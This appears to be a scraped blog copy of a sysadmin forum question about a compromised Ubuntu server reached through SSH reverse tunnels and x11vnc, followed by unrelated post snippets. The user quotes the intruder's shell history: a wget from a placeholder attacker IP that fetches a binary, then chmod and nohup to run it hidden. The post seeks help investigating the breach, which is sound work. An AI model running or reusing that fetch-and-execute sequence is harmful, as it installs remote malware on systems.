Skip to main content

security - Weak points of ssh tunnel and x11 server, hack investigation

So, today I've been hacked. It's very puzzling to me how it was done, so I'm looking for experienced people to show weak points in design of my systems.



I have two servers. One is VPS with connection to internet (server1), second one is server inside private network (server2), connected to the first one via ssh reverse tunnel, exposing ports 22 (ssh) and 5900 (x11vnc) to the internet. Both servers are Ubuntu 14.04.




I use these commands to create ssh reverse tunnel (on the server2):



autossh -fR \*:4202:localhost:22 -N root@server1.com
autossh -fR \*:5900:localhost:5900 -N root@server1.com


A little more specifics about SSH configuration on my servers.







  1. Allows root login

  2. Has this line:



    GatewayPorts clientspecified




Full configuration







  1. Doesn't allow root login.

  2. Uses default (stock) ssh configuration

  3. I use common (batman related:) ) username with 9 characters password.



Full configuration




As for x11, I use this command to create x11vnc server:



/usr/bin/x11vnc -dontdisconnect -notruecolor -noxfixes -shared -forever -rfbport 5900 -bg -o /home/{username}/.vnc/x11vnc.log -rfbauth /home/{username}/.vnc/passwd -auth /var/lib/mdm/:0.Xauth


My password for VNC is pretty good.



server1 is being actively bruteforced, but I don't have any evidence it was compromised.



You can't access server2 from server1 without password.






So, today I found this in my .bash_history on the server2:



wget http://{HACKER_IP}:8080/heng
chmod 0755 /root/heng
chmod 0755 ./heng
/dev/null 2>&1 &
nohup ./heng > /dev/null 2>&1 &



{HACKER_IP} is reported by virtualtotal as one that distributes Win32.Ramnit.



/var/log/auth.log is clean.



heng process was inside my memory but wasn't on disk. I've shutdown my system so I don't have it anymore.







  1. Passwords were transmited via skype at one point.

  2. I use xshell, and I use password manager to store passwords to my connections.

  3. I use public WI-FI often.





How it's possible that server2 is being compromised before server1 ? It's lives in non-standart 4202 port and uses pretty good login/password combination.




How can I avoid this in the future ?

Comments

Post a Comment

Popular posts from this blog

linux - iDRAC6 Virtual Media native library cannot be loaded

When attempting to mount Virtual Media on a iDRAC6 IP KVM session I get the following error: I'm using Ubuntu 9.04 and: $ javaws -version Java(TM) Web Start 1.6.0_16 $ uname -a Linux aud22419-linux 2.6.28-15-generic #51-Ubuntu SMP Mon Aug 31 13:39:06 UTC 2009 x86_64 GNU/Linux $ firefox -version Mozilla Firefox 3.0.14, Copyright (c) 1998 - 2009 mozilla.org On Windows + IE it (unsurprisingly) works. I've just gotten off the phone with the Dell tech support and I was told it is known to work on Linux + Firefox, albeit Ubuntu is not supported (by Dell, that is). Has anyone out there managed to mount virtual media in the same scenario?
Post a Comment
Read more

ubuntu - Monitoring CPU, Mem, disk, on a single server

I've been looking for a simple starter solution for monitoring my [currently] single server hosted solution. Other than Nagios and similar, are there other good (simple) solutions people are using? Answer Everything depends on what you want. For example Munin is very simple, you can install and configure it in less then 10 minutes (on one server), it can sends alarms, make graphs from monitoring cpu, mem. apache connections, eaccellerator, disk io and many many more (it has many plugins). But if you are planning in future get some more machines, munin may not be enough. For example in munin you cant monitor state of individual processes, can't monitor changes in files (for security purpose). So if you wanna only see what is the utilization of basics parameters on your server and don't plan to buy some more servers Munin is what you are looking for, but if you wanna be alarmed when some of your service is down, take more control on what is happeninig on...
Post a Comment
Read more

hp proliant - Smart Array P822 with HBA Mode?

We get an HP DL360 G8 with an Smart Array P822 controller. On that controller will come a HP StorageWorks D2700 . Does anybody know, that it is possible to run the Smart Array P822 in HBA mode? I found only information about the P410i, who can run HBA. If this is not supported, what you think about the LSI 9207-8e controller? Will this fit good in that setup? The Hardware we get is used but all original from HP. The StorageWorks has 25 x 900 GB SAS 10K disks. Because the disks are not new I would like to use only 22 for raid6, and the rest for spare (I need to see if the disk count is optimal or not for zfs). It would be nice if I'm not stick to SAS in future. As OS I would like to install debian stretch with zfs 0.71 as file system and software raid. I have see that hp has an page for debian to. I would like to use hba mode because it is recommend, that zfs know at most as possible about the disk, and I'm independent from the raid controller. For us zfs have many benefits, ...
Post a Comment
Read more